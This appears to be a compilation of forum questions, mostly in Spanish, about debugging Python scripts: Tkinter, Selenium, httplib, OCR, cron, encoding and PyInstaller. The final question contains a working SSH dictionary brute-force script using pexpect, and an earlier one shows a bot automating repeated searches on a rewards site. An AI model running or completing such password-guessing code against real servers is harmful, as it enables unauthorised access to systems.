Problemas con Tkinter en python

soy muy novato en esto ( todavía me asombro de como he podido hacer lo que he hecho ) y tengo un problema con unos comandos. Os explico, tengo este codigo:

import tkinter as tk import sys  def oneclick():   if True:   pass   else:   sys.exit(). sys.exit()    def show_entry_fields():     print("Email: %s\nPassword: %s\nRepeat: %s\nTime: %s" % (e1.get(), e2.get(), e3.get()))  master = tk.Tk() tk.Label(master,          text="Email").grid(row=0) tk.Label(master,          text="Password").grid(row=1) tk.Label(master,         text="Repeat").grid(row=2) tk.Label(master,         text="Time").grid(row=3)  e1 = tk.Entry(master) e2 = tk.Entry(master) e3 = tk.Entry(master) e4 = tk.Entry(master)  e1.grid(row=0, column=1) e2.grid(row=1, column=1) e3.grid(row=2, column=1) e4.grid(row=3, column=1)  Button = tk.Button() tk.Button(master,           text='Start',           command=oneclick).grid(row=4,                                     column=1,                                     sticky=tk.W,                                     pady=4)  master.title("Presearch by meganano202") master.iconbitmap("C:\Users\meganano202\Desktop\bot\G_XURdf8.ico")  # Configuración de la raíz def menubar():    root = Tk()    menubar = Menu(root)   root.config(menu=menubar)    filemenu = Menu(menubar, tearoff=0)   filemenu.add_command(label="Nuevo")   filemenu.add_command(label="Abrir")   filemenu.add_command(label="Guardar")   filemenu.add_command(label="Cerrar")   filemenu.add_separator()   filemenu.add_command(label="Salir", command=root.quit)    editmenu = Menu(menubar, tearoff=0)   editmenu.add_command(label="Cortar")   editmenu.add_command(label="Copiar")   editmenu.add_command(label="Pegar")    helpmenu = Menu(menubar, tearoff=0)   helpmenu.add_command(label="Ayuda")   helpmenu.add_separator()   helpmenu.add_command(label="Acerca de...")    menubar.add_cascade(label="Archivo", menu=filemenu)   menubar.add_cascade(label="Editar", menu=editmenu)   menubar.add_cascade(label="Ayuda", menu=helpmenu)  tk.mainloop()   from selenium import webdriver import time  driver = webdriver.Chrome("C:\Users\meganano202\Desktop\bot\chromedriver.exe") driver.get("https://presearch.org/login") time.sleep(2) elem = driver.find_element_by_name ("email") elem.send_keys(e1.get()) time.sleep(4) password_elem = driver.find_element_by_name("password") password_elem.send_keys(e2.get()) time.sleep(60) for i in range(e3.get()):     search_elem = driver.find_element_by_id("search").send_keys("meganano202")     search_elem = driver.find_element_by_xpath("//button[@type='submit']").click()     time.sleep(e4.get())     driver.back() 

Y lo que querría hacer es, cuando no presionen el botón de “Start” que no se inicie el bot, es decir, cuando presione Start que se inicie y se cierre la venta automáticamente ( que creo que ya lo hice yo ) y cuando se cierre la ventana manualmente que no se inicie el bot, como veis yo intente hacerlo con if y else pero no me funciono o lo hice mal. Estaré muy agradecido por su ayuda

Error al intentar loguearme en una web con httplib en python?

Estoy intentando loguearme en una web por medio de un script de python con httplib pero me arroja un error socket.gaierror: [Errno 11004] getaddrinfo failed.

El script de logueo de python es el siguiente:

import http.client as ht import urllib.parse as ub   openConn=ht.HTTPConnection('https://www.facebook.com:443') headers = {'Content-Type':'application/x-www-form-urlencoded','Accept':'text/plain'} param = ub.urlencode({'email':'usuario.75@gmail.com','pass':'password332'}) openConn.request('POST','https://www.facebook.com/login/device-based/regular/login/?login_attempt=1&lwv=110',param,headers) resp=openConn.getresponse() read_resp=resp.read().decode() print(read_resp)  

Como notaran tome como ejemplo el logueo en la web de facebook para intentarlo pero el error completo que me arroja es el siguiente:

Traceback (most recent call last):   File ".\http_connect_2.py", line 7, in <module>     openConn.request('POST','https://www.facebook.com/login/device-based/regular/login/?login_attempt=1&lwv=110',param,headers)   File "C:\Users\Usuario\AppData\Local\Programs\Python\Python36-32\lib\http\client.py", line 1239, in request     self._send_request(method, url, body, headers, encode_chunked)   File "C:\Users\Usuario\AppData\Local\Programs\Python\Python36-32\lib\http\client.py", line 1285, in _send_request     self.endheaders(body, encode_chunked=encode_chunked)   File "C:\Users\Usuario\AppData\Local\Programs\Python\Python36-32\lib\http\client.py", line 1234, in endheaders     self._send_output(message_body, encode_chunked=encode_chunked)   File "C:\Users\Usuario\AppData\Local\Programs\Python\Python36-32\lib\http\client.py", line 1026, in _send_output     self.send(msg)   File "C:\Users\Usuario\AppData\Local\Programs\Python\Python36-32\lib\http\client.py", line 964, in send     self.connect()   File "C:\Users\Usuario\AppData\Local\Programs\Python\Python36-32\lib\http\client.py", line 936, in connect     (self.host,self.port), self.timeout, self.source_address)   File "C:\Users\Usuario\AppData\Local\Programs\Python\Python36-32\lib\socket.py", line 704, in create_connection     for res in getaddrinfo(host, port, 0, SOCK_STREAM):   File "C:\Users\Usuario\AppData\Local\Programs\Python\Python36-32\lib\socket.py", line 745, in getaddrinfo     for res in _socket.getaddrinfo(host, port, family, type, proto, flags): socket.gaierror: [Errno 11004] getaddrinfo failed 

Como puedo resolver este error?, no tengo mucha experiencia en el area web.

Analizar dos listas en Python

Hola y muchísimas gracias de antemanos por su ayuda!.

Les pongo en contexto. Estoy analizando una imagen con OCR y obtengo todo el texto de esta junto a sus coordenadas (X e Y medida en pixeles). El problema es que cuando analizo el texto, hay texto que está de un circulo que, en la primera linea tiene unas siglas y en la linea que le sigue un código. Necesito que éste código, el que está DENTRO DEL CIRCULO, quede en una sola linea y por consiguiente en un solo item de mi list.

La list que obtengo con el OCR es algo como esto:

[['LALL'],[1122],[1820]  ['LAL'],[2584],[1817]  ['LALL'],[2643],[1820]  ['LALL'],[3118],[1820]  ['LAL'],[3408],[1817]  ['LAL'],[1071],[1817]  ['0501'],[708],[1841]  ['0501/'],[766],[1842]  ['0511'],[1884],[1841]  ['0511'],[1943],[1842]  ['0503'],[1402],[1842]  ['0503'],[1463],[1843]] 

El primer valor correspondería al texto encontrado, el segundo valor la coordenada X y el segundo valor la coordenada Y.

Para ésto se me ha ocurrido la idea de usar la función de OpenCV que detecta circulos y obtener la coordenadas de los circulos.

La lista que obtengo es algo como esto:

[[1808], [1992], [31]], [[2158], [1992], [31]], [[1444], [2318], [31]], [[1948], [2010], [31]], [[2624], [2318], [31]], [[2630], [1992], [31]], [[2294], [2010], [31]], [[1120], [2010], [31]], [[1124], [1688], [31]], [[1808], [1870], [31]], [[776], [1688], [31]], [[1950], [1688], [31]], [[1458], [1870], [31]], [[2632], [1870], [31]], [[1184], [1752], [31]], [[1598], [1754], [31]], [[1120], [1750], [31]], [[774], [1754], [31]], [[1948], [1750], [31]], [[2158], [1868], [31]]] 

El primer valor correspondería a la posición X, el segundo valor a la posición Y y el tercer valor al tamaño del radio del circulo.

La imagen que estoy analizando es algo como esto: https://i.imgur.com/am35Uoa.png

El tema que no se como hacer es hacer que al momento que vea que un item de la lista de texto coincide con una circunferencia (list generada por OpenCV) lo junte todo un solo item de la list de texto obtenido con OCR.

Imagino que es algo como con un for recorrer ambas listas e ir comparando las coordenadas pero sinceramente tengo poca idea de como hacerlo. Si me pueden echar una mano lo agradecería.

Nuevamente, muchas gracias!.

I cannot import a text file into Python

I have a text file in my computer. I want to analyze it in Python. I follow this basic procedure:

a. Set the directory:

import os os.chdir("F:\proyectosAnalisis\uribismo\twitter\textos") 

b. Open it

f= open("uribe15092019.txt","r") 

c. Read it

 f1=f.read() 

However, in this last step I get the following strange error, which I copy below. Can somebody help me please?

Traceback (most recent call last):

File “”, line 1, in f1=f.read()

File “C:\ProgramData\Anaconda3update\lib\encodings\cp1252.py”, line 23, in decode return codecs.charmap_decode(input,self.errors,decoding_table)[0]

UnicodeDecodeError: ‘charmap’ codec can’t decode byte 0x81 in position 3679: character maps to

CRON job not running – Python Script

I’m trying to run a Python script every hour although it doesn’t seem to be executing.

The command in crontab -e is:

0 * * * * /usr/bin/python3 /home/ubuntu/Python_Script/main.py 2>&1 /tmp/pythonlog.log

The script isn’t running and the output log isn’t getting created.

Running grep CRON /var/log/syslog doesn’t give anything that I can see indicating that the script isn’t being run.

Here’s a small part of the output.

Sep 15 18:00:01 ip-x-x-x-x CRON[1702]: (ubuntu) CMD (/usr/bin/python3 /home/ubuntu/Python_Script/main.py) Sep 15 18:00:01 ip-x-x-x-x CRON[1701]: (CRON) info (No MTA installed, discarding output) Sep 15 18:17:01 ip-x-x-x-x CRON[1725]: (root) CMD (   cd / && run-parts --report /etc/cron.hourly) Sep 15 19:00:01 ip-x-x-x-x CRON[1889]: (ubuntu) CMD (/usr/bin/python3 /home/ubuntu/Python_Script/main.py 2>&1 /tmp/pythonlog.log) Sep 15 19:00:01 ip-x-x-x-x CRON[1888]: (CRON) info (No MTA installed, discarding output) Sep 15 19:14:44 ip-x-x-x-x cron[1996]: (CRON) INFO (pidfile fd = 3) Sep 15 19:14:44 ip-x-x-x-x cron[1996]: (CRON) INFO (Skipping @reboot jobs -- not system startup) Sep 15 19:17:01 ip-x-x-x-x CRON[2016]: (root) CMD (   cd / && run-parts --report /etc/cron.hourly) 

This is being run on an AWS Lightsail instance, with Ubuntu 18.04 installed.

I’m wondering what is going wrong, and how to fix it.

All help is appreciated, thanks!

Mac reinicia al ejecutar ventana de GUI con python

Estoy aprendiendo python mediante videotutoriales por youtube y por primera vez estaba iniciándome en el tema de interfaces gráficas de usuarios.

En principio, todo iba según lo previsto y al ejecutar el programa la ventana de la GUI aparecía, podía cambiarla de tamaño, etc. El problema viene en que me he puesto a curiosear los menús que aparecen en mac (típicos menús de la barra superior, Archivo, Edición, …) cuando está activa esa ventana y no sé que he tocado, que cada vez que ejecuto el programa se me reinicia (aunque lo apague, encienda, borre los archivos y el package y los genere de nuevo, etc) el ordenador.

No recuerdo por completo la opción que pulse en esos menús, pero creo recordar que el problema apareció (y no deja de aparecer) cuando pulsé una opción la cual llevaba entre sus palabras la palabra “Show” y “Bar” ¿Tendrá algo que ver con la opción personalizar la Touch Bar?

Tengo MacOSMojave y estoy usando Eclipse como IDE. La versión de python es la 3.7.

El código era muy muy sencillo, estaba con el primer video de GUI’s:

from tinter import * raiz = Tk() raiz.geometry("650x350") raiz.resizable(False,False) raiz.mainloop() 

Espero alguien pueda ayudarme para continuar con este tipo de vídeos y aprendizaje. He probado a ejecutar otro programa python cualquiera y funciona. El problema estará en la ventana emergente creado por python para la programación de la GUI.

Saludos y muchas gracias de antemano

trying to run a python game with source code in terminal, unbuntu 18.04

not to get to complicated but I just wanted to run a simple tic tac toe program but couldn’t find one that worked so i gravitated towards this after a duckduckgo search for python games, have no idea what i’m doing, any suggestion for a newbie would be great

https://github.com/xer0nex/a-python-game I do not know what I am doing, can basically do “hello world” or “blastoff” and run it in the terminal. that’s it I logged into github and downloaded the zip file of asteroid in the link above. placed it in the directory i wanted to run it in and got an error message trying to run the game in terminal. the file downloaded was a folder called “a-python-game-master” and it downloaded to the desktop

cd Desktop cd a-python-game-master python3 Asteroid.py

the error message is belowenter image description here

Traceback (most recent call last): File “Asteroid.py”, line 6, in from Vex import Vex File “/home/brian/Desktop/a-python-game-master/Vex.py”, line 3, in import Environment File “/home/brian/Desktop/a-python-game-master/Environment.py”, line 1, in import pygame ModuleNotFoundError: No module named ‘pygame’

Problemas con PyInstaller y webbrowser en ejecutable Python

Tengo una aplicación simple realizada con Qt y Python. He utilizado webbrowser para abrir el navegador web por defecto y mostrar una imagen mediante una url. La función se llama mediante el siguiente comando:

webbrowser.open_new(url)

Cuando lo ejecuto en modo de desarrollo funciona bien. Sin embargo, cuando se compila la aplicación usando PyInstaller y se ejecuta como un ejecutable me aparece este mensaje:

gio: (url) Error opening location: No application is registered as handling this file

He probado a utilizar otras funciones de webbrowser para abrir urls añadiendo parametros de configuración y sigue sin funcionar.

Hago mención a otro problema similar, el cual no tiene respuestas ni solución. pyinstaller: webbrowser.open doesn’t work in packaged app

fuerza bruta SSH (Python)

Estoy creando un script de fuerza bruta para servidor ssh, pero tengo un problema con la respuesta al momento de encontrar la contraseña.

#!/usr/bin/python  import os, pexpect  prompt = ["# ", ">>>", "> ", "$   ", "[W|w]elcome", "[P|p]ress"]  def connecting(user, host, password):     ssh_newkey = "Are you sure you want to continue connecting"     conn = "ssh " + user + "@" + host     child = pexpect.spawn(conn)     respuesta = child.expect([pexpect.TIMEOUT, ssh_newkey, '[P|p]assword:'])     print(respuesta)     if respuesta == 0:         print ("[-] Error connecting.")         child.close()     elif respuesta == 1:             child.sendline("yes")             respuesta = child.expect[(pexpect.TIMEOUT, '[P|p]assword: ')]             if respuesta == 0:                 print ("[-] Error connecting.")                 return     child.sendline(password)     resp = child.expect(["[P|p]ermission denied", "[P|p]lease press", "# ", ">>>", "> ", "/$   "], timeout=0.5)     print(resp)     if resp == 0:         pass     else:         print("[+] Password found: " + password)         exit()     return child  def main():     global path     host = "XXX"     user = "XXX"     path = raw_input("[+] Enter dictionary path: ")     try:         file = open((path), "r")         for password in file.readlines():             password = password.strip('\n')             try:                 connecting(user, host, password)             except:                 pass     except:         print("[-] Path doesn't exists.")         exit()    main() 

El problema sé que redica en esta parte:

child.sendline(password) resp = child.expect(["[P|p]ermission denied", "[P|p]lease press", "# ", ">>>", "> ", "/$   "], timeout=0.5) print(resp) if resp == 0:     pass else:     print("[+] Password found: " + password)     exit() return child 

En el momento en que lograr ingresar a la cuenta no hay respuesta, este es el resultado:

xxx@xxx:~/Documents/python_proyects/bruteforce$   ./bruteforce2.py [+] Enter dictionary path: /home/xxx/Documents/pass.txt 2 0 2 0 2 2 0 2 0 2 0 xxx@xxx:~/Documents/python_proyects/bruteforce$    

2 equivale a que obtuvo como respuesta que debe ingresar la contraseña para probar y 0 equivale a que denegado el acceso, pero si se dan cuenta cuando ingresa la tercera contraseña no envia respuesta. Cómo logro que imprima una respuesta para cuando dé con la contraseña?

SAludos!!